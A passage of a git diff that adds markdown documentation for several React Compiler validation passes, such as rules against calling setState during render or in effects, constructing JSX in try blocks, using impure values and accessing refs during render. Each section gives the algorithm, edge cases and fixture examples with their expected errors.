+   6 |   const reassignLocal = newValue => {
+>  7 |     local = newValue;
+     |     ^^^^^ Cannot reassign `local` after render completes
+   8 |   };
+   9 |
+  10 |   const onMount = newValue => {
+```
+
+### Fixture: `error.invalid-reassign-local-variable-in-async-callback.js`
+
+**Input:**
+```javascript
+function Component() {
+  let value = null;
+  const reassign = async () => {
+    await foo().then(result => {
+      // Reassigning a local variable in an async function is *always* mutating
+      // after render, so this should error regardless of where this ends up
+      // getting called
+      value = result;
+    });
+  };
+
+  const onClick = async () => {
+    await reassign();
+  };
+  return <div onClick={onClick}>Click</div>;
+}
+```
+
+**Error:**
+```
+Error: Cannot reassign variable in async function
+
+Reassigning a variable in an async function can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-reassign-local-variable-in-async-callback.ts:8:6
+   6 |       // after render, so this should error regardless of where this ends up
+   7 |       // getting called
+>  8 |       value = result;
+     |       ^^^^^ Cannot reassign `value`
+   9 |     });
+  10 |   };
+```
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/44-validateNoSetStateInRender.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/44-validateNoSetStateInRender.md
new file mode 100644
index 000000000000..81009cb17fb2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/44-validateNoSetStateInRender.md
@@ -0,0 +1,133 @@
+# validateNoSetStateInRender
+
+## File
+`src/Validation/ValidateNoSetStateInRender.ts`
+
+## Purpose
+Validates that a component does not unconditionally call `setState` during render, which would cause an infinite update loop. This pass is conservative and may miss some cases (false negatives) but avoids false positives.
+
+## Input Invariants
+- Operates on HIRFunction (pre-reactive scope inference)
+- Must run before reactive scope inference
+- Uses `computeUnconditionalBlocks` to determine which blocks always execute
+
+## Validation Rules
+This pass detects two types of violations:
+
+1. **Unconditional setState in render**: Calling `setState` (or a function that transitively calls setState) in a block that always executes during render.
+
+2. **setState inside useMemo**: Calling `setState` inside a `useMemo` callback, which can cause infinite loops when the memo's dependencies change.
+
+### Error Messages
+
+**For unconditional setState in render:**
+```
+Error: Cannot call setState during render
+
+Calling setState during render may trigger an infinite loop.
+* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders
+* To derive data from other state/props, compute the derived data during render without using state
+```
+
+**For setState in useMemo:**
+```
+Error: Calling setState from useMemo may trigger an infinite loop
+
+Each time the memo callback is evaluated it will change state. This can cause a memoization dependency to change, running the memo function again and causing an infinite loop. Instead of setting state in useMemo(), prefer deriving the value during render.
+```
+
+## Algorithm
+1. Compute the set of unconditional blocks using post-dominator analysis
+2. Initialize a set `unconditionalSetStateFunctions` to track functions that unconditionally call setState
+3. Traverse all blocks and instructions:
+   - **LoadLocal/StoreLocal**: Propagate setState tracking through variable assignments and loads
+   - **FunctionExpression/ObjectMethod**: Recursively check if the function unconditionally calls setState. If so, add the function's lvalue to the tracking set
+   - **StartMemoize/FinishMemoize**: Track when inside a manual memoization block (useMemo/useCallback)
+   - **CallExpression**: Check if the callee is a setState function or tracked setter:
+     - If inside a memoize block, emit a useMemo-specific error
+     - If in an unconditional block, emit a render-time setState error
+
+### Key Helper: `computeUnconditionalBlocks`
+Uses post-dominator tree analysis to find blocks that always execute when the function runs. The analysis ignores throw statements since hooks only need consistent ordering for normal execution paths.
+
+## Edge Cases
+
+### Conditional setState is allowed
+```javascript
+// This is valid - setState is conditional
+if (someCondition) {
+  setState(newValue);
+}
+```
+
+### Transitive detection through functions
+```javascript
+// Detected - setTrue unconditionally calls setState
+const setTrue = () => setState(true);
+setTrue(); // Error here
+```
+
+### False negative: setState in data structures
+```javascript
+// NOT detected - setState stored in array then extracted
+const [state, setState] = useState(false);
+const x = [setState];
+const y = x.pop();
+y(); // No error, but will cause infinite loop
+```
+
+### Feature flag: enableUseKeyedState
+When enabled, the error message suggests using `useKeyedState(initialState, key)` as an alternative pattern for resetting state when dependencies change.
+
+## TODOs
+None in source code.
+
+## Example
+
+### Fixture: `error.invalid-unconditional-set-state-in-render.js`
+
+**Input:**
+```javascript
+// @validateNoSetStateInRender
+function Component(props) {
+  const [x, setX] = useState(0);
+  const aliased = setX;
+
+  setX(1);
+  aliased(2);
+
+  return x;
+}
+```
+
+**Error:**
+```
+Found 2 errors:
+
+Error: Cannot call setState during render
+
+Calling setState during render may trigger an infinite loop.
+* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders
+* To derive data from other state/props, compute the derived data during render without using state.
+
+error.invalid-unconditional-set-state-in-render.ts:6:2
+  4 |   const aliased = setX;
+  5 |
+> 6 |   setX(1);
+    |   ^^^^ Found setState() in render
+  7 |   aliased(2);
+  8 |
+  9 |   return x;
+
+Error: Cannot call setState during render
+
+...
+
+error.invalid-unconditional-set-state-in-render.ts:7:2
+   5 |
+   6 |   setX(1);
+>  7 |   aliased(2);
+     |   ^^^^^^^ Found setState() in render
+```
+
+**Why it fails:** Both `setX(1)` and `aliased(2)` are unconditionally called during render. The pass tracks that `aliased` is assigned from `setX`, so calling `aliased()` is also detected as a setState call.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/45-validateNoDerivedComputationsInEffects.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/45-validateNoDerivedComputationsInEffects.md
new file mode 100644
index 000000000000..467a1a214807
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/45-validateNoDerivedComputationsInEffects.md
@@ -0,0 +1,141 @@
+# validateNoDerivedComputationsInEffects
+
+## File
+`src/Validation/ValidateNoDerivedComputationsInEffects.ts`
+
+## Purpose
+Validates that `useEffect` is not used for derived computations that could and should be performed during render. This catches a common anti-pattern where developers use effects to synchronize derived state, which causes unnecessary re-renders and complexity.
+
+See: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state
+
+## Input Invariants
+- Operates on HIRFunction (pre-reactive scope inference)
+- Effect hooks must be identified (`isUseEffectHookType`)
+- setState functions must be identified (`isSetStateType`)
+
+## Validation Rules
+The pass detects when an effect:
+1. Has a dependency array (2nd argument)
+2. The effect function only captures the dependencies and setState functions
+3. The effect calls setState with a value derived solely from the dependencies
+4. The effect has no control flow (loops with back edges)
+
+When detected, it produces:
+```
+Error: Values derived from props and state should be calculated during render, not in an effect. (https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state)
+```
+
+## Algorithm
+1. **Collection Phase**: Traverse all instructions to collect:
+   - `candidateDependencies`: Map of ArrayExpression identifiers (potential deps arrays)
+   - `functions`: Map of FunctionExpression identifiers (potential effect callbacks)
+   - `locals`: Map of LoadLocal sources for identifier resolution
+
+2. **Detection Phase**: When a `useEffect` call is found with 2 arguments:
+   - Look up the effect function and dependencies array
+   - Verify all dependency array elements are identifiers
+   - Call `validateEffect()` on the effect function
+
+3. **Effect Validation** (`validateEffect`):
+   - Check that the effect only captures dependencies or setState functions
+   - Check that all dependencies are actually used in the effect
+   - Skip if any block has a back edge (loop)
+   - Track data flow through instructions:
+     - `LoadLocal`: Propagate dependency tracking
+     - `PropertyLoad`, `BinaryExpression`, `TemplateLiteral`, `CallExpression`, `MethodCall`: Aggregate dependencies from operands
+   - When `setState` is called with a single argument that depends on ALL effect dependencies, record the location
+   - If any dependency is used in a terminal operand (control flow), abort validation
+   - Push errors for all recorded setState locations
+
+### Value Tracking
+The pass maintains a `values` map from `IdentifierId` to `Array<IdentifierId>` tracking which effect dependencies each value derives from. When setState is called, if the argument derives from all dependencies, it's flagged as a derived computation.
+
+## Edge Cases
+
+### Allowed: Effects with side effects
+```javascript
+// Valid - effect captures external values, not just deps
+useEffect(() => {
+  logToServer(firstName);
+  setFullName(firstName);
+}, [firstName]);
+```
+
+### Allowed: Effects with loops
+```javascript
+// Valid - has control flow, not a simple derivation
+useEffect(() => {
+  let result = '';
+  for (const item of items) {
+    result += item;
+  }
+  setResult(result);
+}, [items]);
+```
+
+### Allowed: Effects with conditional setState
+```javascript
+// Valid - setState is conditional on control flow
+useEffect(() => {
+  if (condition) {
+    setFullName(firstName + lastName);
+  }
+}, [firstName, lastName]);
+```
+
+### Not detected: Subset of dependencies
+```javascript
+// Not flagged - only uses firstName, not lastName
+useEffect(() => {
+  setResult(firstName);
+}, [firstName, lastName]);
+```
+
+## TODOs
+None in source code.
+
+## Example
+
+### Fixture: `error.invalid-derived-computation-in-effect.js`
+
+**Input:**
+```javascript
+// @validateNoDerivedComputationsInEffects
+import {useEffect, useState} from 'react';
+
+function BadExample() {
+  const [firstName, setFirstName] = useState('Taylor');
+  const [lastName, setLastName] = useState('Swift');
+
+  // Avoid: redundant state and unnecessary Effect
+  const [fullName, setFullName] = useState('');
+  useEffect(() => {
+    setFullName(firstName + ' ' + lastName);
+  }, [firstName, lastName]);
+
+  return <div>{fullName}</div>;
+}
+```
+
+**Error:**
+```
+Found 1 error:
+
+Error: Values derived from props and state should be calculated during render, not in an effect. (https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state)
+
+error.invalid-derived-computation-in-effect.ts:11:4
+   9 |   const [fullName, setFullName] = useState('');
+  10 |   useEffect(() => {
+> 11 |     setFullName(firstName + ' ' + lastName);
+     |     ^^^^^^^^^^^ Values derived from props and state should be calculated during render, not in an effect.
+  12 |   }, [firstName, lastName]);
+  13 |
+  14 |   return <div>{fullName}</div>;
+```
+
+**Why it fails:** The effect computes `fullName` purely from `firstName` and `lastName` (the dependencies) and then sets state. This is a derived computation that should be calculated during render:
+
+```javascript
+// Correct approach
+const fullName = firstName + ' ' + lastName;
+```
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/46-validateNoSetStateInEffects.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/46-validateNoSetStateInEffects.md
new file mode 100644
index 000000000000..2772aeb238bc
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/46-validateNoSetStateInEffects.md
@@ -0,0 +1,150 @@
+# validateNoSetStateInEffects
+
+## File
+`src/Validation/ValidateNoSetStateInEffects.ts`
+
+## Purpose
+Validates against calling `setState` synchronously in the body of an effect (`useEffect`, `useLayoutEffect`, `useInsertionEffect`), while allowing `setState` in callbacks scheduled by the effect. Synchronous setState in effects triggers cascading re-renders which hurts performance.
+
+See: https://react.dev/learn/you-might-not-need-an-effect
+
+## Input Invariants
+- Operates on HIRFunction (pre-reactive scope inference)
+- Effect hooks must be identified (`isUseEffectHookType`, `isUseLayoutEffectHookType`, `isUseInsertionEffectHookType`)
+- setState functions must be identified (`isSetStateType`)
+- Only runs when `outputMode === 'lint'`
+
+## Validation Rules
+This pass detects synchronous setState calls within effect bodies:
+
+**Standard error message:**
+```
+Error: Calling setState synchronously within an effect can trigger cascading renders
+
+Effects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. In general, the body of an effect should do one or both of the following:
+* Update external systems with the latest state from React.
+* Subscribe for updates from some external system, calling setState in a callback function when external state changes.
+
+Calling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended.
+```
+
+**Verbose error message** (when `enableVerboseNoSetStateInEffect` is enabled):
+Provides more detailed guidance about specific anti-patterns like non-local derived data, derived event patterns, and force update patterns.
+
+## Algorithm
+1. **Main function traversal**: Build a map `setStateFunctions` tracking which identifiers are setState functions
+2. For each instruction:
+   - **LoadLocal/StoreLocal**: Propagate setState tracking through variable assignments
+   - **FunctionExpression**: Check if the function synchronously calls setState by recursively calling `getSetStateCall()`. If so, track the function as a setState-calling function
+   - **useEffectEvent call**: If the argument is a function that calls setState, track the return value as a setState function
+   - **useEffect/useLayoutEffect/useInsertionEffect call**: Check if the callback argument is tracked as calling setState. If so, emit an error
+
+3. **`getSetStateCall()` helper**: Recursively analyzes a function to find synchronous setState calls:
+   - Tracks ref-derived values when `enableAllowSetStateFromRefsInEffects` is enabled
+   - Propagates setState tracking through local variables
+   - Returns the Place of the setState call if found, null otherwise
+
+### Ref-derived setState exception
+When `enableAllowSetStateFromRefsInEffects` is enabled, the pass allows setState calls where:
+- The value being set is derived from a ref (`useRef` or `ref.current`)
+- The block containing setState is controlled by a ref-dependent condition
+
+This allows patterns like storing initial layout measurements from refs in state.
+
+## Edge Cases
+
+### Allowed: setState in callbacks
+```javascript
+// Valid - setState in event callback, not synchronous
+useEffect(() => {
+  const handler = () => {
+    setState(newValue);
+  };
+  window.addEventListener('resize', handler);
+  return () => window.removeEventListener('resize', handler);
+}, []);
+```
+
+### Transitive detection
+```javascript
+// Detected - transitive through function calls
+const f = () => setState(value);
+const g = () => f();
+useEffect(() => {
+  g(); // Error: calls setState transitively
+});
+```
+
+### useEffectEvent tracking
+```javascript
+// Detected - useEffectEvent that calls setState is tracked
+const handler = useEffectEvent(() => {
+  setState(value);
+});
+useEffect(() => {
+  handler(); // Error: handler calls setState
+});
+```
+
+### Allowed: Ref-derived state (with flag)
+```javascript
+// Valid when enableAllowSetStateFromRefsInEffects is true
+const ref = useRef(null);
+useEffect(() => {
+  const width = ref.current.offsetWidth;
+  setWidth(width); // Allowed - derived from ref
+}, []);
+```
+
+## TODOs
+From the source code:
+```typescript
+/*
+ * TODO: once we support multiple locations per error, we should link to the
+ * original Place in the case that setStateFunction.has(callee)
+ */
+```
+
+## Example
+
+### Fixture: `invalid-setState-in-useEffect-transitive.js`
+
+**Input:**
+```javascript
+// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component() {
+  const [state, setState] = useState(0);
+  const f = () => {
+    setState(s => s + 1);
+  };
+  const g = () => {
+    f();
+  };
+  useEffect(() => {
+    g();
+  });
+  return state;
+}
+```
+
+**Error:**
+```
+Error: Calling setState synchronously within an effect can trigger cascading renders
+
+Effects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. In general, the body of an effect should do one or both of the following:
+* Update external systems with the latest state from React.
+* Subscribe for updates from some external system, calling setState in a callback function when external state changes.
+
+Calling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended.
+
+invalid-setState-in-useEffect-transitive.ts:13:4
+  11 |   };
+  12 |   useEffect(() => {
+> 13 |     g();
+     |     ^ Avoid calling setState() directly within an effect
+  14 |   });
+```
+
+**Why it fails:** Even though `setState` is not called directly in the effect, the pass traces through `g()` -> `f()` -> `setState()` and detects that the effect synchronously triggers a state update.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/47-validateNoJSXInTryStatement.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/47-validateNoJSXInTryStatement.md
new file mode 100644
index 000000000000..f23c343dfbf1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/47-validateNoJSXInTryStatement.md
@@ -0,0 +1,167 @@
+# validateNoJSXInTryStatement
+
+## File
+`src/Validation/ValidateNoJSXInTryStatement.ts`
+
+## Purpose
+Validates that JSX is not created within a try block. Developers may incorrectly assume that wrapping JSX in try/catch will catch rendering errors, but React does not immediately render components when JSX is created - JSX is just a description of UI that will be rendered later. Error boundaries should be used instead.
+
+See: https://react.dev/reference/react/Component#catching-rendering-errors-with-an-error-boundary
+
+## Input Invariants
+- Operates on HIRFunction (pre-reactive scope inference)
+- Blocks are traversed in order
+- Only runs when `outputMode === 'lint'`
+
+## Validation Rules
+The pass errors when `JsxExpression` or `JsxFragment` instructions are found within a try block.
+
+**Error message:**
+```
+Error: Avoid constructing JSX within try/catch
+
+React does not immediately render components when JSX is rendered, so any errors from this component will not be caught by the try/catch. To catch errors in rendering a given component, wrap that component in an error boundary.
+```
+
+### Important distinction
+- JSX in a **try block**: Error
+- JSX in a **catch block** (not nested in outer try): Allowed
+- JSX in a **catch block** (nested in outer try): Error
+
+## Algorithm
+1. Maintain a stack `activeTryBlocks` of currently active try statement handler block IDs
+2. For each block:
+   - Remove the current block from `activeTryBlocks` if it matches a handler (we've exited the try scope)
+   - If `activeTryBlocks` is not empty (we're inside a try block):
+     - Check each instruction for `JsxExpression` or `JsxFragment`
+     - If found, push an error
+   - If the block's terminal is a `try` terminal, push its handler block ID to `activeTryBlocks`
+
+### Block tracking with `retainWhere`
+The `retainWhere` utility is used to remove the current block from `activeTryBlocks` at the start of each block. When we reach a catch handler block, it gets removed from the active list, allowing JSX in catch blocks (unless there's an outer try).
+
+## Edge Cases
+
+### Allowed: JSX in catch (no outer try)
+```javascript
+// Valid - catch block is not inside a try
+function Component() {
+  try {
+    doSomething();
+  } catch {
+    return <ErrorMessage />; // OK
+  }
+}
+```
+
+### Error: JSX in catch with outer try
+```javascript
+// Error - catch is inside outer try
+function Component() {
+  try {
+    try {
+      doSomething();
+    } catch {
+      return <ErrorMessage />; // Error!
+    }
+  } catch {
+    return null;
+  }
+}
+```
+
+### Error: JSX assigned in try
+```javascript
+// Error - JSX creation is in try block
+function Component() {
+  let el;
+  try {
+    el = <div />; // Error here
+  } catch {
+    return null;
+  }
+  return el;
+}
+```
+
+### Finally blocks
+The validation currently has TODOs for handling try/catch/finally properly. Files like `error.todo-invalid-jsx-in-try-with-finally.js` indicate these are known unsupported cases.
+
+## TODOs
+Based on fixture naming patterns:
+- `error.todo-invalid-jsx-in-try-with-finally.js` - Try blocks with finally clauses
+- `error.todo-invalid-jsx-in-catch-in-outer-try-with-finally.js` - Nested try/catch in try with finally
+
+## Example
+
+### Fixture: `invalid-jsx-in-try-with-catch.js`
+
+**Input:**
+```javascript
+// @loggerTestOnly @validateNoJSXInTryStatements @outputMode:"lint"
+function Component(props) {
+  let el;
+  try {
+    el = <div />;
+  } catch {
+    return null;
+  }
+  return el;
+}
+```
+
+**Error:**
+```
+Error: Avoid constructing JSX within try/catch
+
+React does not immediately render components when JSX is rendered, so any errors from this component will not be caught by the try/catch. To catch errors in rendering a given component, wrap that component in an error boundary.
+
+invalid-jsx-in-try-with-catch.ts:5:9
+  3 |   let el;
+  4 |   try {
+> 5 |     el = <div />;
+    |          ^^^^^^^ Avoid constructing JSX within try/catch
+  6 |   } catch {
+  7 |     return null;
+  8 |   }
+```
+
+**Why it fails:** The `<div />` JSX element is created inside a try block. If the developer expects this to catch errors from rendering the div, they will be surprised - the try/catch will only catch errors from creating the JSX object (which is rare), not from React actually rendering it later. The correct approach is to use an error boundary component to catch rendering errors.
+
+### Fixture: `invalid-jsx-in-catch-in-outer-try-with-catch.js`
+
+**Input:**
+```javascript
+// @loggerTestOnly @validateNoJSXInTryStatements @outputMode:"lint"
+import {identity} from 'shared-runtime';
+
+function Component(props) {
+  let el;
+  try {
+    let value;
+    try {
+      value = identity(props.foo);
+    } catch {
+      el = <div value={value} />;
+    }
+  } catch {
+    return null;
+  }
+  return el;
+}
+```
+
+**Error:**
+```
+Error: Avoid constructing JSX within try/catch
+
+...
+
+invalid-jsx-in-catch-in-outer-try-with-catch.ts:11:11
+   9 |       value = identity(props.foo);
+  10 |     } catch {
+> 11 |       el = <div value={value} />;
+     |            ^^^^^^^^^^^^^^^^^^^^^ Avoid constructing JSX within try/catch
+```
+
+**Why it fails:** Even though the JSX is in a catch block, that catch block is itself inside an outer try block. The outer try's catch won't catch rendering errors from the JSX any more than the inner try would.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/48-validateNoImpureValuesInRender.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/48-validateNoImpureValuesInRender.md
new file mode 100644
index 000000000000..af4216313ff5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/48-validateNoImpureValuesInRender.md
@@ -0,0 +1,180 @@
+# validateNoImpureValuesInRender
+
+## File
+`src/Validation/ValidateNoImpureValuesInRender.ts`
+
+## Purpose
+This validation pass ensures that impure values (values derived from non-deterministic function calls) are not used in render output. Impure values can produce unstable results that update unpredictably when the component re-renders, violating React's requirement that components be pure and idempotent.
+
+The pass tracks values produced by impure functions (like `Date.now()`, `Math.random()`, `performance.now()`) and errors if those values flow into JSX props, component return values, or other render-time contexts.
+
+## Input Invariants
+- The function has been through effect inference
+- Aliasing effects have been computed on instructions
+- `Impure` effects mark values from non-deterministic sources
+- `Render` effects mark values used in render context
+
+## Validation Rules
+The pass produces errors when:
+
+1. **Impure value in render context**: A value marked with an `Impure` effect flows into a position marked with a `Render` effect
+2. **Impure function returns in render**: A function that returns an impure value is called during render
+
+Error messages produced:
+- Category: `ImpureValues`
+- Reason: "Cannot access impure value during render"
+- Description: "Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render."
+
+The error points to two locations:
+1. Where the impure value is used in render (e.g., as a JSX prop)
+2. Where the impure value originates (e.g., the `Date.now()` call)
+
+## Algorithm
+
+### Phase 1: Infer Impure Values
+The pass iterates over all instructions to build a map of which identifiers contain impure values:
+
+```typescript
+function inferImpureValues(
+  fn: HIRFunction,
+  impure: Map<IdentifierId, ImpureEffect>,
+  impureFunctions: Map<IdentifierId, ImpuritySignature>,
+  cache: FunctionCache,
+): ImpuritySignature
+```
+
+The algorithm uses a fixed-point iteration that propagates impurity through data flow:
+
+1. **Process phi nodes**: If any operand of a phi is impure, the phi result is impure
+2. **Process effects**: For each instruction's effects:
+   - `Impure` effect: Mark the destination identifier as impure
+   - `Alias/Assign/Capture/CreateFrom/ImmutableCapture`: Propagate impurity from source to destination
+   - `CreateFunction`: Recursively analyze function expressions
+   - `Apply`: When calling a function with an impurity signature, propagate impurity to call results
+
+3. **Control flow sensitivity**: The pass also considers control-flow dominators to detect impure values that flow through conditional branches
+
+### Phase 2: Validate Render Effects
+After impurity inference converges, the pass validates all `Render` effects:
+
+```typescript
+function validateRenderEffect(effect: RenderEffect): void {
+  const impureEffect = impure.get(effect.place.identifier.id);
+  if (impureEffect != null) {
+    // Emit error
+  }
+}
+```
+
+### Special Cases
+- Values stored in refs (`isUseRefType`) are allowed to be impure since refs are not rendered
+- JSX elements are excluded from impurity propagation (`isJsxType`)
+
+## Edge Cases
+
+### Impure Values Through Helper Functions
+If a helper function returns an impure value and is called during render, both the call site and the original impure source are reported:
+
+```javascript
+function Component() {
+  const now = () => Date.now();  // Source of impurity
+  const render = () => {
+    return <div>{now()}</div>;   // Error: impure value in render
+  };
+  return <div>{render()}</div>;  // Error: impure value in render
+}
+```
+
+### Indirect Impurity Through Mutation
+When an impure value is captured into another value through mutation, the destination becomes impure:
+
+```javascript
+function Component() {
+  const obj = {};
+  obj.time = Date.now();  // obj becomes impure
+  return <Foo obj={obj} />;  // Error
+}
+```
+
+### Phi Node Propagation
+Impurity propagates through control flow merges:
+
+```javascript
+function Component({cond}) {
+  let x;
+  if (cond) {
+    x = Date.now();  // Impure path
+  } else {
+    x = 0;           // Pure path
+  }
+  return <Foo x={x} />;  // Error: x may be impure
+}
+```
+
+## TODOs
+From the source file:
+
+```typescript
+/**
+ * TODO: consider propagating impurity for assignments/mutations that
+ * are controlled by an impure value.
+ *
+ * Example: This should error since we know the semantics of array.push,
+ * it's a definite Mutate and definite Capture, not maybemutate+maybecapture:
+ *
+ * let x = [];
+ * if (Date.now() < START_DATE) {
+ *   x.push(1);
+ * }
+ * return <Foo x={x} />
+ */
+```
+
+## Example
+
+### Fixture: `error.invalid-impure-functions-in-render.js`
+
+**Input:**
+```javascript
+// @validateNoImpureFunctionsInRender
+
+function Component() {
+  const date = Date.now();
+  const now = performance.now();
+  const rand = Math.random();
+  return <Foo date={date} now={now} rand={rand} />;
+}
+```
+
+**Error:**
+```
+Found 3 errors:
+
+Error: Cannot access impure value during render
+
+Calling an impure function can produce unstable results that update unpredictably
+when the component happens to re-render.
+(https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).
+
+error.invalid-impure-functions-in-render.ts:7:20
+  5 |   const now = performance.now();
+  6 |   const rand = Math.random();
+> 7 |   return <Foo date={date} now={now} rand={rand} />;
+    |                     ^^^^ Cannot access impure value during render
+  8 | }
+
+error.invalid-impure-functions-in-render.ts:4:15
+  2 |
+  3 | function Component() {
+> 4 |   const date = Date.now();
+    |                ^^^^^^^^^^ `Date.now` is an impure function.
+  5 |   const now = performance.now();
+
+Error: Cannot access impure value during render
+...
+```
+
+Key observations:
+- Each impure function call (`Date.now`, `performance.now`, `Math.random`) produces a separate error
+- The error shows both the usage location (in JSX) and the source location (the impure call)
+- The pass is enabled via the `@validateNoImpureFunctionsInRender` pragma
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/49-validateNoRefAccessInRender.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/49-validateNoRefAccessInRender.md
new file mode 100644
index 000000000000..680f096937f7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/49-validateNoRefAccessInRender.md
@@ -0,0 +1,268 @@
+# validateNoRefAccessInRender
+
+## File
+`src/Validation/ValidateNoRefAccessInRender.ts`
+
+## Purpose
+This validation pass ensures that React refs are not mutated during render. Refs are mutable containers for values that are not needed for rendering. Accessing or mutating `ref.current` during render can cause components to not update as expected because React does not track ref mutations.
+
+The pass validates both direct ref mutations at the component level and ref mutations inside functions that are called during render.
+
+## Input Invariants
+- The function has been through type inference
+- Ref types are properly identified (`useRef` return values)
+- Function expressions have been lowered
+
+## Validation Rules
+The pass produces errors for:
+
+1. **Direct ref mutation in render**: Assigning to `ref.current` at the top level of a component
+2. **Ref mutation in render helper**: Mutating a ref inside a function that is called during render
+3. **Duplicate ref initialization**: Initializing a ref more than once within null-guard blocks
+
+**Exception - Null-guard initialization pattern**: The pass allows a single initialization of `ref.current` inside an `if (ref.current == null)` block. This is a common pattern for lazy initialization:
+
+```javascript
+// ALLOWED - null-guard initialization
+if (ref.current == null) {
+  ref.current = expensiveComputation();
+}
+```
+
+Error messages produced:
+- Category: `Refs`
+- Reason: "Cannot access refs during render"
+- Messages:
+  - "Cannot update ref during render"
+  - "Ref is initialized more than once during render"
+  - "Ref was first initialized here" (for duplicate initialization)
+
+## Algorithm
+
+### Phase 1: Initialize Ref Tracking
+Track refs from function parameters and context (captured variables):
+
+```typescript
+for (const param of fn.params) {
+  if (isUseRefType(place.identifier)) {
+    refs.set(place.identifier.id, {kind: 'Ref', refId: makeRefId()});
+  }
+}
+```
+
+### Phase 2: Single Forward Pass
+Process all blocks in order, tracking:
+- `refs`: Map of identifier IDs to ref information
+- `nullables`: Set of identifiers known to be null/undefined
+- `guards`: Map of comparison results (e.g., `ref.current == null`)
+- `safeBlocks`: Map of blocks where null-guard allows initialization
+- `refMutatingFunctions`: Map of function identifiers that mutate refs
+
+### Phase 3: Process Instructions
+For each instruction, handle:
+
+```typescript
+switch (value.kind) {
+  case 'PropertyLoad': {
+    // Track ref.current access
+    if (objRef?.kind === 'Ref' && value.property === 'current') {
+      refs.set(lvalue.identifier.id, {kind: 'RefValue', refId: objRef.refId});
+    }
+    break;
+  }
+  case 'PropertyStore': {
+    // Check for ref mutation
+    if (isRef && isCurrentProperty && !isNullGuardInit) {
+      if (isTopLevel) {
+        errors.pushDiagnostic(makeRefMutationError(instr.loc));
+      }
+      return mutation;
+    }
+    break;
+  }
+  case 'FunctionExpression': {
+    // Recursively validate with isTopLevel=false
+    const mutation = validateFunction(..., false, errors);
+    if (mutation != null) {
+      refMutatingFunctions.set(lvalue.identifier.id, mutation);
+    }
+    break;
+  }
+  case 'CallExpression': {
+    // Check if calling a ref-mutating function
+    if (refMutatingFunctions.has(callee.identifier.id) && isTopLevel) {
+      errors.pushDiagnostic(makeRefMutationError(mutationInfo.loc));
+    }
+    break;
+  }
+}
+```
+
+### Phase 4: Guard Detection and Propagation
+When encountering an `if` terminal with a null-guard condition:
+
+```typescript
+if (block.terminal.kind === 'if') {
+  const guard = guards.get(block.terminal.test.identifier.id);
+  if (guard != null) {
+    // For equality checks (==, ===), consequent is safe
+    // For inequality checks (!=, !==), alternate is safe
+    const safeBlock = guard.isEquality
+      ? block.terminal.consequent
+      : block.terminal.alternate;
+    // Propagate safety through control flow
+  }
+}
+```
+
+## Edge Cases
+
+### Null-Guard Initialization Pattern (Allowed)
+```javascript
+function Component() {
+  const ref = useRef(null);
+  if (ref.current == null) {
+    ref.current = computeValue();  // OK - first initialization
+  }
+  return <div />;
+}
+```
+
+### Duplicate Initialization (Error)
+```javascript
+function Component() {
+  const ref = useRef(null);
+  if (ref.current == null) {
+    ref.current = value1;  // First init - tracked
+  }
+  if (ref.current == null) {
+    ref.current = value2;  // Error: duplicate initialization
+  }
+}
+```
+
+### Negated Null Check
+The pass correctly handles negated null checks:
+```javascript
+if (ref.current !== null) {
+  // NOT safe for initialization
+} else {
+  // Safe for initialization (ref.current is null here)
+}
+```
+
+### Ref Mutation in Called Function
+```javascript
+function Component(props) {
+  const ref = useRef(null);
+  const renderItem = item => {
+    ref.current = item;  // Mutation tracked in function
+    return <Item item={item} />;
+  };
+  // Error: calling function that mutates ref during render
+  return <List>{props.items.map(renderItem)}</List>;
+}
+```
+
+### Ref Mutation in Event Handler (Allowed)
+```javascript
+function Component() {
+  const ref = useRef(null);
+  const onClick = () => {
+    ref.current = value;  // OK - not called during render
+  };
+  return <button onClick={onClick} />;  // onClick is passed, not called
+}
+```
+
+### Arbitrary Comparison Values (Error)
+Only `null` or `undefined` comparisons are recognized as null guards:
+```javascript
+const DEFAULT_VALUE = 1;
+if (ref.current == DEFAULT_VALUE) {
+  ref.current = 1;  // Error: not a null guard
+}
+```
+
+## TODOs
+None in the source file.
+
+## Example
+
+### Fixture: `error.invalid-disallow-mutating-ref-in-render.js`
+
+**Input:**
+```javascript
+// @validateRefAccessDuringRender
+function Component() {
+  const ref = useRef(null);
+  ref.current = false;
+
+  return <button ref={ref} />;
+}
+```
+
+**Error:**
+```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be
+accessed outside of render, such as in event handlers or effects. Accessing a
+ref value (the `current` property) during render can cause your component not
